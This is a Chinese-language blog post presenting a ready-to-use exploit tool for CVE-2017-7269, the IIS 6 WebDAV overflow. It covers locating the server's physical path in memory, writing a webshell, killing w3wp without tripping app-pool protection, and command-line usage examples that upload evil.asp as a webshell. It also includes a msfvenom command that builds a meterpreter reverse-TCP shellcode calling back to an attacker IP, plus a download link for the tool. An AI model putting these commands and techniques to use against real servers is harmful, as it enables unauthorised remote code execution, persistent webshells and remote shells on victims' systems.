iis6 webdav漏洞在有些时候还是很好用的,例如说内网某些老旧的机器上。
只可惜利用方式太不友好,msf这种庞然大物用在web上真的是一点也不贴切。
iis支持各种脚本,如果能写webshell就再好不过了。
0x01 查找物理路径
想写文件,自然要找到物理路径。
我之前的文章(http://www.zcgonvh.com/post/tips_for_cve_2017_7269.html)里面提到了物理路径的问题:If头的第一个Url会经过MapPath转换为实际的物理路径,并存放在栈中。
那么直接从栈中找到物理路径就好了。
在触发漏洞时,物理路径保存在esp+174h处:
当shellcode执行时,esp已被修改为堆地址,此时需要从TEB中获取原始的StackBase:
在StackBase-54ch处就是物理路径了:
有了物理路径,写shell就很简单了。
物理路径以unicode格式存储,我选择了msvcrt.dll导出的wfopen和fputs进行写入,这样比较简便。
0x02 解决拒绝服务的问题
为了稳定利用,还有另外一个严重的问题:十分钟之后的拒绝服务。
出现拒绝服务之后只能通过重启iis或是终止w3wp来解决,重启iis是做不到的,但可以在shellcode内调用ExitProcess来终止w3wp。
当然,这种情况自然属于“应用程序池非正常终止”。iis默认有一个保护措施:五分钟之内只能有五次非正常终止,超过则禁用应用程序池:
所以调用的时机只能为最后一次,或是手动进行终止。在终止之后的五分钟之内不要有其他任何导致退出的操作,防止触发失败保护。
0x03 工具与说明
相比原理,相信工具更符合大众的胃口。
鉴于这次漏洞较为坑爹,自动的工具远不如手工判断,就多设置了几个选项。
一定要看说明!
一定要看说明!
一定要看说明!
工具命令行如下:
CVE-2017-7269 <url> [parms] Header: -h <host> set host for [If] header -p <port> set port for [If] header -s <scheme> set scheme for [If] header -l <length> length of physical path WebShell: -w <webshell> upload webshell to server -wp <shellpath> path of webshell to save ShellCode: -c <shellcode> execute the shellcode Misc: -t test vulnerable only. -e exit process when getshell or test -k kill target(equals -e and -t)
Header四个选项控制If头中的内容,前三个用于因为反代导致url和实际host不对应的情况,一般来说不用设置。
-l选项设置物理路径长度,不设置的话会自动爆破。
如果已知路径长度的话最好进行设置,因为根据路径长度的不同,在爆破时可能会导致w3wp退出一到两次。
这个问题暂时没办法解决,用msf脚本甚至手动发包都是一样的。好在次数不会太多,不至于触发失败保护,无伤大雅。
WebShell选项中-w指定本地需要上传的文件,-wp指定要保存的路径,当然是基于根目录的相对路径,例如/webshell.aspx。
ShellCode选项可以指定一个shellcode文件,注意在编写shellcode时**一定**要在执行后手动调用ExitThread或是0x10B syscall,不然肯定会导致崩溃。
msf的shellcode要这样生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.129 LPORT=2638 EXITFUNC=thread PrependMigrate=true PrependMigrateProc=rundll32.exe >/tmp/shellcode
Misc选项中-t表示仅进行测试,不执行shellcode或上传shell。当未指定物理路径长度时还会进行爆破并显示结果。
-e表示在测试结束或上传结束时终止w3wp(调用0x10A syscall),建议在获取到物理路径长度后配合-l选项使用。如果用了爆破的话,则最好不要开启,而是等五分钟后用-k参数手动终止。
-k为手动终止w3wp的选项,相当于-e和-t的结合体。
举几个例子:
CVE-2017-7269 http://192.168.1.1/ CVE-2017-7269 http://192.168.1.1/ -l 19 CVE-2017-7269 http://host.remote/ -h test.local -p 8080 -s https CVE-2017-7269 http://192.168.1.1/ -e -l 22 -w evil.asp -wp /webshell.asp CVE-2017-7269 http://192.168.1.1/ -c shellcode.bin
测试结果如图:
msf shellcode会直接退出线程,返回超时是正常的。
附件中CVE-2017-7269.cs为源码,编译命令行:
csc CVE-2017-7269.cs
高版本windows默认未安装.net 2.0,注意使用4.0进行编译。
下载地址: CVE-2017-7269_tool.rar
解压密码见注释。